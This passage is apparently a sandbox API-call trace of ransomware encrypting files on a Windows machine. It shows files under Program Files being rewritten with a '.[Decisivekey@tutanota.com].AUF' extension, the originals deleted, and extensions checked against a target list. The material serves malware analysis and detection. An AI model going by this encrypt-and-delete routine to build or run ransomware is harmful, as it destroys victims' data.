oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.017] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.017] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.017] GetLastError () returned 0x0 [0216.017] ReadFile (in: hFile=0x218, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x7d92, lpOverlapped=0x0) returned 1 [0216.024] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7da0, lpOverlapped=0x0) returned 1 [0216.025] ReadFile (in: hFile=0x218, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.025] WriteFile (in: hFile=0x194, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0216.025] SetEndOfFile (hFile=0x194) returned 1 [0216.025] CloseHandle (hObject=0x194) returned 1 [0216.025] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.025] SetEndOfFile (hFile=0x218) returned 1 [0216.026] CloseHandle (hObject=0x218) returned 1 [0216.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 1 [0216.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0216.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0216.026] lstrlenW (lpString=".doc") returned 4 [0216.026] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0216.026] lstrlenW (lpString=".docx") returned 5 [0216.026] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0216.026] lstrlenW (lpString=".pdf") returned 4 [0216.027] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0216.027] lstrlenW (lpString=".xls") returned 4 [0216.027] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0216.027] lstrlenW (lpString=".xlsx") returned 5 [0216.027] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0216.027] lstrlenW (lpString=".ppt") returned 4 [0216.027] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0216.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0216.027] lstrlenW (lpString=".zip") returned 4 [0216.027] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0216.027] lstrlenW (lpString=".rar") returned 4 [0216.027] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0216.027] lstrlenW (lpString=".bz2") returned 4 [0216.027] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0216.027] lstrlenW (lpString=".7z") returned 3 [0216.027] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0216.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0216.027] lstrlenW (lpString=".dbf") returned 4 [0216.027] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0216.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0216.027] lstrlenW (lpString=".1cd") returned 4 [0216.027] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0216.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned 77 [0216.027] lstrlenW (lpString=".jpg") returned 4 [0216.027] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0216.046] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=29790) returned 1 [0216.047] CloseHandle (hObject=0x220) returned 1 [0216.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0216.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0216.047] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.047] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.047] GetLastError () returned 0x0 [0216.047] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x745e, lpOverlapped=0x0) returned 1 [0216.077] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7460, lpOverlapped=0x0) returned 1 [0216.078] ReadFile (in: hFile=0x220, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.078] WriteFile (in: hFile=0x1f8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0216.078] SetEndOfFile (hFile=0x1f8) returned 1 [0216.078] CloseHandle (hObject=0x1f8) returned 1 [0216.078] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.078] SetEndOfFile (hFile=0x220) returned 1 [0216.088] CloseHandle (hObject=0x220) returned 1 [0216.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0216.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0216.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0216.089] lstrlenW (lpString=".doc") returned 4 [0216.089] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0216.089] lstrlenW (lpString=".docx") returned 5 [0216.089] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0216.089] lstrlenW (lpString=".pdf") returned 4 [0216.089] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0216.089] lstrlenW (lpString=".xls") returned 4 [0216.089] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0216.089] lstrlenW (lpString=".xlsx") returned 5 [0216.089] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0216.089] lstrlenW (lpString=".ppt") returned 4 [0216.089] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0216.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0216.107] lstrlenW (lpString=".zip") returned 4 [0216.107] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0216.107] lstrlenW (lpString=".rar") returned 4 [0216.107] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0216.107] lstrlenW (lpString=".bz2") returned 4 [0216.107] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0216.107] lstrlenW (lpString=".7z") returned 3 [0216.107] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0216.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0216.107] lstrlenW (lpString=".dbf") returned 4 [0216.107] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0216.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0216.107] lstrlenW (lpString=".1cd") returned 4 [0216.107] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0216.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0216.108] lstrlenW (lpString=".jpg") returned 4 [0216.108] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0216.108] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.108] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.108] GetLastError () returned 0x0 [0216.108] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xc44, lpOverlapped=0x0) returned 1 [0216.128] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xc50, lpOverlapped=0x0) returned 1 [0216.128] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.128] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.128] SetEndOfFile (hFile=0x218) returned 1 [0216.128] CloseHandle (hObject=0x218) returned 1 [0216.129] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.129] SetEndOfFile (hFile=0x208) returned 1 [0216.135] CloseHandle (hObject=0x208) returned 1 [0216.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0216.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0216.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0216.135] lstrlenW (lpString=".doc") returned 4 [0216.135] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.135] lstrlenW (lpString=".docx") returned 5 [0216.135] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.135] lstrlenW (lpString=".pdf") returned 4 [0216.135] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.135] lstrlenW (lpString=".xls") returned 4 [0216.135] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.135] lstrlenW (lpString=".xlsx") returned 5 [0216.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.135] lstrlenW (lpString=".ppt") returned 4 [0216.135] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0216.135] lstrlenW (lpString=".zip") returned 4 [0216.135] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.136] lstrlenW (lpString=".rar") returned 4 [0216.136] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.136] lstrlenW (lpString=".bz2") returned 4 [0216.136] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.136] lstrlenW (lpString=".7z") returned 3 [0216.136] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0216.136] lstrlenW (lpString=".dbf") returned 4 [0216.136] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0216.136] lstrlenW (lpString=".1cd") returned 4 [0216.136] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0216.136] lstrlenW (lpString=".jpg") returned 4 [0216.136] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.141] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.141] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.146] GetLastError () returned 0x0 [0216.146] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x296f, lpOverlapped=0x0) returned 1 [0216.175] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2970, lpOverlapped=0x0) returned 1 [0216.176] ReadFile (in: hFile=0x208, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.176] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.176] SetEndOfFile (hFile=0x218) returned 1 [0216.176] CloseHandle (hObject=0x218) returned 1 [0216.176] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.176] SetEndOfFile (hFile=0x208) returned 1 [0216.182] CloseHandle (hObject=0x208) returned 1 [0216.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0216.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0216.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0216.182] lstrlenW (lpString=".doc") returned 4 [0216.183] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.183] lstrlenW (lpString=".docx") returned 5 [0216.183] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.183] lstrlenW (lpString=".pdf") returned 4 [0216.183] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.183] lstrlenW (lpString=".xls") returned 4 [0216.183] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.183] lstrlenW (lpString=".xlsx") returned 5 [0216.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.183] lstrlenW (lpString=".ppt") returned 4 [0216.183] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0216.183] lstrlenW (lpString=".zip") returned 4 [0216.183] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.188] lstrlenW (lpString=".rar") returned 4 [0216.188] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.188] lstrlenW (lpString=".bz2") returned 4 [0216.188] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.188] lstrlenW (lpString=".7z") returned 3 [0216.188] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0216.188] lstrlenW (lpString=".dbf") returned 4 [0216.188] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0216.188] lstrlenW (lpString=".1cd") returned 4 [0216.188] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0216.188] lstrlenW (lpString=".jpg") returned 4 [0216.188] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.198] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=8582) returned 1 [0216.198] CloseHandle (hObject=0x1f8) returned 1 [0216.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0216.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.198] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.198] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.199] GetLastError () returned 0x0 [0216.199] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2186, lpOverlapped=0x0) returned 1 [0216.204] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2190, lpOverlapped=0x0) returned 1 [0216.204] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0216.205] WriteFile (in: hFile=0x21c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.205] SetEndOfFile (hFile=0x21c) returned 1 [0216.206] CloseHandle (hObject=0x21c) returned 1 [0216.206] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0216.206] SetEndOfFile (hFile=0x1f8) returned 1 [0216.207] CloseHandle (hObject=0x1f8) returned 1 [0216.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0216.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0216.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0216.207] lstrlenW (lpString=".doc") returned 4 [0216.207] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.207] lstrlenW (lpString=".docx") returned 5 [0216.207] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.207] lstrlenW (lpString=".pdf") returned 4 [0216.207] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.207] lstrlenW (lpString=".xls") returned 4 [0216.207] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.207] lstrlenW (lpString=".xlsx") returned 5 [0216.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.208] lstrlenW (lpString=".ppt") returned 4 [0216.208] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0216.208] lstrlenW (lpString=".zip") returned 4 [0216.208] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.208] lstrlenW (lpString=".rar") returned 4 [0216.208] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.208] lstrlenW (lpString=".bz2") returned 4 [0216.208] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.208] lstrlenW (lpString=".7z") returned 3 [0216.208] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0216.208] lstrlenW (lpString=".dbf") returned 4 [0216.208] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0216.208] 